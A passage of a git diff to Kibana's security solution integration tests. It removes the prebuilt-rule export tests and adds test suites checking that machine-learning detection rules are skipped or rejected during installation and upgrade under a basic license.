expect(body.attributes.summary).toMatchObject({ succeeded: 1, total: 1 }); + it(`applies "${BulkActionEditTypeEnum.set_schedule}" bulk edit action to prebuilt rules`, async () => { + await createPrebuiltRuleAssetSavedObjects(es, PREBUILT_RULE_ASSETS); + await installPrebuiltRules(es, supertest); + + const bulkResponse = await performBulkEditOnPrebuiltRules({ + type: BulkActionEditTypeEnum.set_schedule, + value: { interval: '1m', lookback: '1m' }, }); + + expect(bulkResponse.attributes.results.updated).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + rule_id: QUERY_PREBUILT_RULE_ID, + interval: '1m', + from: 'now-120s', + to: 'now', + }), + expect.objectContaining({ + rule_id: SAVED_QUERY_PREBUILT_RULE_ID, + interval: '1m', + from: 'now-120s', + to: 'now', + }), + expect.objectContaining({ + rule_id: EQL_PREBUILT_RULE_ID, + interval: '1m', + from: 'now-120s', + to: 'now', + }), + ]) + ); }); }); }; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/export/export_prebuilt_rules.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/export/export_prebuilt_rules.ts deleted file mode 100644 index c2ca11de4d638..0000000000000 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/export/export_prebuilt_rules.ts +++ /dev/null @@ -1,403 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import expect from 'expect'; - -import { - BulkActionEditTypeEnum, - BulkActionTypeEnum, -} from '@kbn/security-solution-plugin/common/api/detection_engine'; -import { FtrProviderContext } from '../../../../../../ftr_provider_context'; -import { deleteAllRules } from '../../../../../../../common/utils/security_solution'; -import { - binaryToString, - createPrebuiltRuleAssetSavedObjects, - createRuleAssetSavedObject, - deleteAllPrebuiltRuleAssets, - getCustomQueryRuleParams, - installPrebuiltRules, -} from '../../../../utils'; - -const parseNdJson = (ndJson: Buffer): unknown[] => - ndJson - .toString() - .split('\n') - .filter((line) => !!line) - .map((line) => JSON.parse(line)); - -export default ({ getService }: FtrProviderContext): void => { - const es = getService('es'); - const supertest = getService('supertest'); - const securitySolutionApi = getService('securitySolutionApi'); - const log = getService('log'); - - /** - * This test suite is skipped in Serverless MKI environments due to reliance on the - * feature flag for prebuilt rule customization. - */ - describe('@ess @serverless @skipInServerlessMKI Export prebuilt rules', () => { - beforeEach(async () => { - await deleteAllPrebuiltRuleAssets(es, log); - await deleteAllRules(supertest, log); - }); - - it('exports a set of custom rules via the _export API', async () => { - await Promise.all([ - securitySolutionApi - .createRule({ body: getCustomQueryRuleParams({ rule_id: 'rule-id-1' }) }) - .expect(200), - securitySolutionApi - .createRule({ body: getCustomQueryRuleParams({ rule_id: 'rule-id-2' }) }) - .expect(200), - ]); - - const { body: exportResult } = await securitySolutionApi - .exportRules({ query: {}, body: null }) - .expect(200) - .parse(binaryToString); - - const ndJson = parseNdJson(exportResult); - - expect(ndJson).toEqual( - expect.arrayContaining([ - expect.objectContaining({ - rule_id: 'rule-id-1', - rule_source: { - type: 'internal', - }, - }), - expect.objectContaining({ - rule_id: 'rule-id-2', - rule_source: { - type: 'internal', - }, - }), - ]) - ); - }); - - describe('with prebuilt rules installed', () => { - let ruleAssets: Array>; - - beforeEach(async () => { - ruleAssets = [ - createRuleAssetSavedObject({ - rule_id: '000047bb-b27a-47ec-8b62-ef1a5d2c9e19', - tags: ['test-tag'], - }), - createRuleAssetSavedObject({ - rule_id: '60b88c41-c45d-454d-945c-5809734dfb34', - tags: ['test-tag-2'], - }), - ]; - await createPrebuiltRuleAssetSavedObjects(es, ruleAssets); - await installPrebuiltRules(es, supertest); - }); - - it('exports a set of non-customized prebuilt rules via the _export API', async () => { - const { body: exportResult } = await securitySolutionApi - .exportRules({ query: {}, body: null }) - .expect(200) - .parse(binaryToString); - - const parsedExportResult = parseNdJson(exportResult); - - expect(parsedExportResult).toEqual( - expect.arrayContaining([ - expect.objectContaining({ - rule_id: ruleAssets[0]['security-rule'].rule_id, - rule_source: { - type: 'external', - is_customized: false, - }, - }), - expect.objectContaining({ - rule_id: ruleAssets[1]['security-rule'].rule_id, - rule_source: { - type: 'external', - is_customized: false, - }, - }), - ]) - ); - }); - - it('exports a set of customized prebuilt rules via the _export API', async () => { - const { - body: { data: rules }, - } = await securitySolutionApi.findRules({ query: {} }).expect(200); - - const { body: bulkEditResult } = await securitySolutionApi - .performRulesBulkAction({ - query: {}, - body: { - ids: [rules[0].id], - action: BulkActionTypeEnum.edit, - [BulkActionTypeEnum.edit]: [ - { - type: BulkActionEditTypeEnum.add_tags, - value: ['new-tag'], - }, - ], - }, - }) - .expect(200); - - expect(bulkEditResult.attributes.summary).toEqual({ - failed: 0, - skipped: 0, - succeeded: 1, - total: 1, - }); - expect(bulkEditResult.attributes.results.updated[0].rule_source.is_customized).toEqual( - true - ); - - const { body: secondExportResult } = await securitySolutionApi - .exportRules({ query: {}, body: null }) - .expect(200) - .parse(binaryToString); - - expect(parseNdJson(secondExportResult)).toEqual( - expect.arrayContaining([ - expect.objectContaining({ - rule_id: rules[0].rule_id, - rule_source: { - type: 'external', - is_customized: true, - }, - }), - expect.objectContaining({ - rule_id: rules[1].rule_id, - rule_source: { - type: 'external', - is_customized: false, - }, - }), - ]) - ); - }); - - it('exports a set of custom and prebuilt rules via the _export API', async () => { - await Promise.all([ - securitySolutionApi - .createRule({ body: getCustomQueryRuleParams({ rule_id: 'rule-id-1' }) }) - .expect(200), - securitySolutionApi - .createRule({ body: getCustomQueryRuleParams({ rule_id: 'rule-id-2' }) }) - .expect(200), - ]); - - const { body: exportResult } = await securitySolutionApi - .exportRules({ query: {}, body: null }) - .expect(200) - .parse(binaryToString); - - const exportJson = parseNdJson(exportResult); - expect(exportJson).toHaveLength(5); // 2 prebuilt rules + 2 custom rules + 1 stats object - - expect(exportJson).toEqual( - expect.arrayContaining([ - expect.objectContaining({ - rule_id: ruleAssets[0]['security-rule'].rule_id, - rule_source: { - type: 'external', - is_customized: false, - }, - }), - expect.objectContaining({ - rule_id: ruleAssets[1]['security-rule'].rule_id, - rule_source: { - type: 'external', - is_customized: false, - }, - }), - expect.objectContaining({ - rule_id: 'rule-id-1', - rule_source: { - type: 'internal', - }, - }), - expect.objectContaining({ - rule_id: 'rule-id-2', - rule_source: { - type: 'internal', - }, - }), - ]) - ); - }); - - it('exports both custom and prebuilt rules when rule_ids are specified via the _export API', async () => { - await Promise.all([ - securitySolutionApi - .createRule({ body: getCustomQueryRuleParams({ rule_id: 'rule-id-1' }) }) - .expect(200), - securitySolutionApi - .createRule({ body: getCustomQueryRuleParams({ rule_id: 'rule-id-2' }) }) - .expect(200), - ]); - - const { body: exportResult } = await securitySolutionApi - .exportRules({ - query: {}, - body: { - objects: [ - { rule_id: ruleAssets[1]['security-rule'].rule_id }, - { rule_id: 'rule-id-2' }, - ], - }, - }) - .expect(200) - .parse(binaryToString); - - const exportJson = parseNdJson(exportResult); - expect(exportJson).toHaveLength(3); // 1 prebuilt rule + 1 custom rule + 1 stats object - - expect(exportJson).toEqual( - expect.arrayContaining([ - expect.objectContaining({ - rule_id: ruleAssets[1]['security-rule'].rule_id, - rule_source: { - type: 'external', - is_customized: false, - }, - }), - expect.objectContaining({ - rule_id: 'rule-id-2', - rule_source: { - type: 'internal', - }, - }), - ]) - ); - }); - - it('exports all prebuilt rules via _export API', async () => { - const { body } = await securitySolutionApi - .exportRules({ query: {}, body: null }) - .expect(200) - .parse(binaryToString); - - const exportJson = parseNdJson(body); - - expect(exportJson).toEqual( - expect.arrayContaining([ - expect.objectContaining({ - rule_id: ruleAssets[0]['security-rule'].rule_id, - rule_source: { - type: 'external', - is_customized: false, - }, - }), - expect.objectContaining({ - rule_id: ruleAssets[1]['security-rule'].rule_id, - rule_source: { - type: 'external', - is_customized: false, - }, - }), - ]) - ); - - const exportStats = exportJson.at(-1); - - expect(exportStats).toMatchObject({ - exported_rules_count: 2, - missing_rules: [], - }); - }); - - it('exports a set of prebuilt rules via the bulk_actions API', async () => { - const ruleAsset = createRuleAssetSavedObject({ rule_id: 'prebuilt-rule-1', version: 1 }); - - await createPrebuiltRuleAssetSavedObjects(es, [ruleAsset]); - await installPrebuiltRules(es, supertest); - - const findResponse = await securitySolutionApi.findRules({ query: {} }); - const installedRule = findResponse.body.data[0]; - - const { body } = await securitySolutionApi - .performRulesBulkAction({ - query: {}, - body: { action: BulkActionTypeEnum.export, ids: [installedRule.id] }, - }) - .expect(200) - .parse(binaryToString); - - const [ruleJson, exportDetailsJson] = parseNdJson(body); - - expect(ruleJson).toMatchObject({ - id: installedRule.id, - rule_source: { - type: 'external', - is_customized: false, - }, - }); - - expect(exportDetailsJson).toMatchObject({ - missing_rules: [], - }); - }); - - it('exports a set of custom and prebuilt rules via the bulk_actions API', async () => { - await Promise.all([ - securitySolutionApi - .createRule({ body: getCustomQueryRuleParams({ rule_id: 'rule-id-1' }) }) - .expect(200), - securitySolutionApi - .createRule({ body: getCustomQueryRuleParams({ rule_id: 'rule-id-2' }) }) - .expect(200), - ]); - - const { body: exportResult } = await securitySolutionApi - .performRulesBulkAction({ - body: { query: '', action: BulkActionTypeEnum.export }, - query: {}, - }) - .expect(200) - .expect('Content-Type', 'application/ndjson') - .expect('Content-Disposition', 'attachment; filename="rules_export.ndjson"') - .parse(binaryToString); - - const exportJson = parseNdJson(exportResult); - expect(exportJson).toHaveLength(5); // 2 prebuilt rules + 2 custom rules + 1 stats object - - expect(exportJson).toEqual( - expect.arrayContaining([ - expect.objectContaining({ - rule_id: ruleAssets[0]['security-rule'].rule_id, - rule_source: { - type: 'external', - is_customized: false, - }, - }), - expect.objectContaining({ - rule_id: ruleAssets[1]['security-rule'].rule_id, - rule_source: { - type: 'external', - is_customized: false, - }, - }), - expect.objectContaining({ - rule_id: 'rule-id-1', - rule_source: { - type: 'internal', - }, - }), - expect.objectContaining({ - rule_id: 'rule-id-2', - rule_source: { - type: 'internal', - }, - }), - ]) - ); - }); - }); - }); -}; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/index.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/index.ts index 10ca4133b7e73..9eabcfd51d55d 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/index.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/index.ts @@ -10,10 +10,6 @@ import { FtrProviderContext } from '../../../../../ftr_provider_context'; export default ({ loadTestFile }: FtrProviderContext): void => { describe('Rules Management - Prebuilt Rules (Customization Enabled)', function () { loadTestFile(require.resolve('./customization')); - loadTestFile(require.resolve('./export')); - loadTestFile(require.resolve('./install_prebuilt_rules')); - loadTestFile(require.resolve('./status')); loadTestFile(require.resolve('./upgrade_prebuilt_rules')); - loadTestFile(require.resolve('./revert_prebuilt_rules')); }); }; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/configs/ess_air_gapped.config.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/configs/ess_air_gapped.config.ts deleted file mode 100644 index b8b6d36ec10eb..0000000000000 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/configs/ess_air_gapped.config.ts +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { FtrConfigProviderContext } from '@kbn/test'; -import path from 'path'; - -export const BUNDLED_PACKAGE_DIR = path.join(path.dirname(__filename), './../fixtures/packages'); - -export default async function ({ readConfigFile }: FtrConfigProviderContext) { - const functionalConfig = await readConfigFile(require.resolve('../../../configs/ess.config')); - - return { - ...functionalConfig.getAll(), - testFiles: [require.resolve('..')], - kbnTestServer: { - ...functionalConfig.get('kbnTestServer'), - serverArgs: [ - ...functionalConfig.get('kbnTestServer.serverArgs'), - /* Tests in this directory simulate an air-gapped environment in which the instance doesn't have access to EPR. - * To do that, we point the Fleet url to an invalid URL, and instruct Fleet to fetch bundled packages at the - * location defined in BUNDLED_PACKAGE_DIR. - */ - `--xpack.fleet.isAirGapped=true`, - `--xpack.fleet.developer.bundledPackageLocation=${BUNDLED_PACKAGE_DIR}`, - ], - }, - }; -} diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/fixtures/packages/security_detection_engine-99.0.0.zip b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/fixtures/packages/security_detection_engine-99.0.0.zip deleted file mode 100644 index 7c725ce134e42..0000000000000 Binary files a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/fixtures/packages/security_detection_engine-99.0.0.zip and /dev/null differ diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/configs/ess_basic_license.config.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/configs/ess_basic_license.config.ts new file mode 100644 index 0000000000000..9862899071b15 --- /dev/null +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/configs/ess_basic_license.config.ts @@ -0,0 +1,25 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { FtrConfigProviderContext } from '@kbn/test'; + +export default async function ({ readConfigFile }: FtrConfigProviderContext) { + const functionalConfig = await readConfigFile( + require.resolve('../../../../../../config/ess/config.base.basic') + ); + + const testConfig = { + ...functionalConfig.getAll(), + testFiles: [require.resolve('..')], + junit: { + reportName: + 'Rules Management - Prebuilt Rules (ML Disabled) - Integration Tests - ESS Env Basic License', + }, + }; + + return testConfig; +} diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/configs/serverless_essentials_tier.config.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/configs/serverless_essentials_tier.config.ts new file mode 100644 index 0000000000000..5f28201a6523e --- /dev/null +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/configs/serverless_essentials_tier.config.ts @@ -0,0 +1,16 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { createTestConfig } from '../../../../../../config/serverless/config.base.essentials'; + +export default createTestConfig({ + testFiles: [require.resolve('..')], + junit: { + reportName: + 'Rules Management - Prebuilt Rules (ML Disabled) - Integration Tests - Serverless Env Essentials Tier', + }, +}); diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/index.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/index.ts new file mode 100644 index 0000000000000..a60ea0da2c8b4 --- /dev/null +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/index.ts @@ -0,0 +1,25 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { FtrProviderContext } from '../../../../../ftr_provider_context'; + +export default ({ loadTestFile }: FtrProviderContext): void => { + describe('Rules Management - Prebuilt Rules (ML Disabled)', function () { + /* Note: some tests below include skips when running in FIPS mode. + * "ML Disabled" currently assumes a basic license, which does not apply to + * FIPS, though any passing tests have been preserved. + * FIPS skips are placed at the lowest possible level to refrain from un- + * intentional skips, and to retain flexibility, granularity, and coverage. + * New additions to this index should consider this. + */ + loadTestFile(require.resolve('./review_installation')); + loadTestFile(require.resolve('./perform_installation')); + loadTestFile(require.resolve('./review_upgrade')); + loadTestFile(require.resolve('./perform_upgrade')); + loadTestFile(require.resolve('./status')); + }); +}; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/export/index.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/perform_installation/index.ts similarity index 86% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/export/index.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/perform_installation/index.ts index 7be3a406d0481..92cbf2e78b6a8 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/export/index.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/perform_installation/index.ts @@ -8,5 +8,5 @@ import { FtrProviderContext } from '../../../../../../ftr_provider_context'; export default ({ loadTestFile }: FtrProviderContext): void => { - loadTestFile(require.resolve('./export_prebuilt_rules')); + loadTestFile(require.resolve('./perform_installation')); }; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/perform_installation/perform_installation.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/perform_installation/perform_installation.ts new file mode 100644 index 0000000000000..1830db2465171 --- /dev/null +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/perform_installation/perform_installation.ts @@ -0,0 +1,83 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import expect from 'expect'; +import { FtrProviderContext } from '../../../../../../ftr_provider_context'; +import { + createPrebuiltRuleAssetSavedObjects, + createRuleAssetSavedObjectOfType, + deleteAllPrebuiltRuleAssets, + installPrebuiltRules, +} from '../../../../utils'; +import { deleteAllRules } from '../../../../../../../common/utils/security_solution'; + +export default ({ getService }: FtrProviderContext): void => { + const es = getService('es'); + const supertest = getService('supertest'); + const log = getService('log'); + const config = getService('config'); + const basic = config.get('esTestCluster.license') === 'basic'; + + describe('@ess @serverless @skipInServerlessMKI Prebuilt rules installation perform', function () { + if (basic) { + this.tags('skipFIPS'); + } + + beforeEach(async () => { + await deleteAllRules(supertest, log); + await deleteAllPrebuiltRuleAssets(es, log); + }); + + it('ML rules are skipped during installation if mode is ALL_RULES', async () => { + const mlRuleAsset = createRuleAssetSavedObjectOfType('machine_learning'); + const nonMlRuleAsset = createRuleAssetSavedObjectOfType('query'); + await createPrebuiltRuleAssetSavedObjects(es, [mlRuleAsset, nonMlRuleAsset]); + + const performInstallationResponse = await installPrebuiltRules(es, supertest); + expect(performInstallationResponse).toMatchObject({ + summary: { + total: 1, + succeeded: 1, + skipped: 0, // ML rules are skipped silently as if they were not present, so they don't count towards "skipped" + failed: 0, + }, + results: { + created: [{ type: 'query' }], + }, + }); + }); + + it('ML rules produce an error during installation if mode is SPECIFIC_RULES', async () => { + const mlRuleFields = { rule_id: 'ml-rule', version: 1 }; + const mlRuleAsset = createRuleAssetSavedObjectOfType('machine_learning', mlRuleFields); + + const nonMlRuleFields = { rule_id: 'non-ml-rule', version: 1 }; + const nonMlRuleAsset = createRuleAssetSavedObjectOfType('query', nonMlRuleFields); + + await createPrebuiltRuleAssetSavedObjects(es, [mlRuleAsset, nonMlRuleAsset]); + + const performInstallationResponse = await installPrebuiltRules(es, supertest, [ + mlRuleFields, + nonMlRuleFields, + ]); + + expect(performInstallationResponse).toMatchObject({ + summary: { total: 2, succeeded: 1, skipped: 0, failed: 1 }, + results: { + created: [{ rule_id: nonMlRuleFields.rule_id }], + }, + errors: [ + { + message: 'Your license does not support machine learning. Please upgrade your license.', + status_code: 403, + rules: [{ rule_id: mlRuleFields.rule_id }], + }, + ], + }); + }); + }); +}; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_disabled/export/index.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/perform_upgrade/index.ts similarity index 86% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_disabled/export/index.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/perform_upgrade/index.ts index 7be3a406d0481..ce7681a102e60 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_disabled/export/index.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/perform_upgrade/index.ts @@ -8,5 +8,5 @@ import { FtrProviderContext } from '../../../../../../ftr_provider_context'; export default ({ loadTestFile }: FtrProviderContext): void => { - loadTestFile(require.resolve('./export_prebuilt_rules')); + loadTestFile(require.resolve('./perform_upgrade')); }; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/perform_upgrade/perform_upgrade.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/perform_upgrade/perform_upgrade.ts new file mode 100644 index 0000000000000..77b350db6bf39 --- /dev/null +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/perform_upgrade/perform_upgrade.ts @@ -0,0 +1,200 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import expect from 'expect'; +import { ModeEnum } from '@kbn/security-solution-plugin/common/api/detection_engine'; +import { FtrProviderContext } from '../../../../../../ftr_provider_context'; +import { + createPrebuiltRuleAssetSavedObjects, + createRuleAssetSavedObjectOfType, + deleteAllPrebuiltRuleAssets, + performUpgradePrebuiltRules, +} from '../../../../utils'; +import { deleteAllRules } from '../../../../../../../common/utils/security_solution'; +import { setUpRuleUpgrade } from '../../../../utils/rules/prebuilt_rules/set_up_rule_upgrade'; +import { createMlRuleThroughAlertingEndpoint } from '../utils'; + +export default ({ getService }: FtrProviderContext): void => { + const es = getService('es'); + const supertest = getService('supertest'); + const log = getService('log'); + const config = getService('config'); + const basic = config.get('esTestCluster.license') === 'basic'; + const deps = { + es, + supertest, + log, + }; + + describe('@ess @serverless @skipInServerlessMKI Prebuilt rules upgrade perform', () => { + beforeEach(async () => { + await deleteAllRules(supertest, log); + await deleteAllPrebuiltRuleAssets(es, log); + }); + + const ruleId = 'ml-rule'; + + describe('ALL_RULES mode', function () { + if (basic) { + this.tags('skipFIPS'); + } + + it('silently skips ML rules in ALL_RULES mode', async () => { + await setUpRuleUpgrade({ + assets: { + installed: { + type: 'machine_learning', + version: 1, + }, + upgrade: { + type: 'machine_learning', + version: 2, + }, + patch: {}, + }, + deps, + }); + + const upgradePerformResult = await performUpgradePrebuiltRules(es, supertest, { + mode: ModeEnum.ALL_RULES, + }); + + expect(upgradePerformResult).toMatchObject({ + summary: { + total: 0, + succeeded: 0, + failed: 0, + }, + errors: [], + }); + }); + }); + + describe('SPECIFIC_RULES mode', function () { + describe(`doesn't upgrade`, function () { + if (basic) { + this.tags('skipFIPS'); + } + + it(`if target is an ML rule`, async () => { + await createMlRuleThroughAlertingEndpoint(supertest, { + ruleId, + version: 1, + }); + + const targetMlRuleAsset = createRuleAssetSavedObjectOfType('machine_learning', { + rule_id: ruleId, + version: 2, + }); + await createPrebuiltRuleAssetSavedObjects(es, [targetMlRuleAsset]); + + const upgradePerformResult = await performUpgradePrebuiltRules(es, supertest, { + mode: ModeEnum.SPECIFIC_RULES, + rules: [ + { + rule_id: ruleId, + revision: 0, + version: 2, + }, + ], + }); + + expect(upgradePerformResult).toMatchObject({ + summary: { + total: 1, + failed: 1, + }, + errors: [ + { + message: + 'Your license does not support machine learning. Please upgrade your license.', + rules: [{ rule_id: ruleId }], + }, + ], + }); + }); + }); + + describe('upgrades successfully', function () { + it('if current rule is an ML rule, but target is a non-ML rule', async () => { + await createMlRuleThroughAlertingEndpoint(supertest, { + ruleId, + version: 1, + }); + + const targetMlRuleAsset = createRuleAssetSavedObjectOfType('query', { + rule_id: ruleId, + version: 2, + }); + await createPrebuiltRuleAssetSavedObjects(es, [targetMlRuleAsset]); + + const upgradePerformResult = await performUpgradePrebuiltRules(es, supertest, { + mode: ModeEnum.SPECIFIC_RULES, + rules: [ + { + rule_id: ruleId, + revision: 0, + version: 2, + pick_version: 'TARGET', + }, + ], + }); + + expect(upgradePerformResult).toMatchObject({ + summary: { + total: 1, + succeeded: 1, + }, + results: { + updated: [{ rule_id: ruleId }], + }, + }); + }); + + it('if both current and target are non-ML rules', async () => { + await setUpRuleUpgrade({ + assets: { + installed: { + type: 'query', + version: 1, + rule_id: ruleId, + }, + upgrade: { + type: 'query', + version: 2, + rule_id: ruleId, + }, + patch: {}, + }, + deps, + }); + + const upgradePerformResult = await performUpgradePrebuiltRules(es, supertest, { + mode: ModeEnum.SPECIFIC_RULES, + rules: [ + { + rule_id: ruleId, + revision: 0, + version: 2, + }, + ], + }); + + expect(upgradePerformResult).toMatchObject({ + summary: { + total: 1, + succeeded: 1, + }, + results: { + updated: [{ rule_id: ruleId }], + }, + }); + }); + }); + }); + }); +}; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/review_installation/index.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/review_installation/index.ts new file mode 100644 index 0000000000000..f16796e2162eb --- /dev/null +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/review_installation/index.ts @@ -0,0 +1,12 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { FtrProviderContext } from '../../../../../../ftr_provider_context'; + +export default ({ loadTestFile }: FtrProviderContext): void => { + loadTestFile(require.resolve('./review_installation')); +}; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/review_installation/review_installation.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/review_installation/review_installation.ts new file mode 100644 index 0000000000000..e3b003eae1c47 --- /dev/null +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/review_installation/review_installation.ts @@ -0,0 +1,55 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import expect from 'expect'; +import { FtrProviderContext } from '../../../../../../ftr_provider_context'; +import { + createPrebuiltRuleAssetSavedObjects, + createRuleAssetSavedObjectOfType, + deleteAllPrebuiltRuleAssets, + reviewPrebuiltRulesToInstall, +} from '../../../../utils'; +import { deleteAllRules } from '../../../../../../../common/utils/security_solution'; + +export default ({ getService }: FtrProviderContext): void => { + const es = getService('es'); + const supertest = getService('supertest'); + const log = getService('log'); + const config = getService('config'); + const basic = config.get('esTestCluster.license') === 'basic'; + + describe('@ess @serverless @skipInServerlessMKI Prebuilt rules installation review', function () { + if (basic) { + this.tags('skipFIPS'); + } + + beforeEach(async () => { + await deleteAllRules(supertest, log); + await deleteAllPrebuiltRuleAssets(es, log); + }); + + it('ML rules are excluded from response', async () => { + const mlRuleAsset = createRuleAssetSavedObjectOfType('machine_learning', { + tags: ['Type: ML'], + }); + const nonMlRuleAsset = createRuleAssetSavedObjectOfType('query', { + tags: ['Type: Custom Query'], + }); + + await createPrebuiltRuleAssetSavedObjects(es, [mlRuleAsset, nonMlRuleAsset]); + + const prebuiltRulesToInstallReview = await reviewPrebuiltRulesToInstall(supertest); + + expect(prebuiltRulesToInstallReview.stats.num_rules_to_install).toBe(1); + expect(prebuiltRulesToInstallReview.rules.length).toBe(1); + expect(prebuiltRulesToInstallReview.rules[0]?.type).toBe('query'); + + // Ensure tags from ML rules are not included + expect(prebuiltRulesToInstallReview.stats.tags).toEqual(['Type: Custom Query']); + }); + }); +}; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/review_upgrade/index.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/review_upgrade/index.ts new file mode 100644 index 0000000000000..b7722e9f25463 --- /dev/null +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/review_upgrade/index.ts @@ -0,0 +1,12 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more 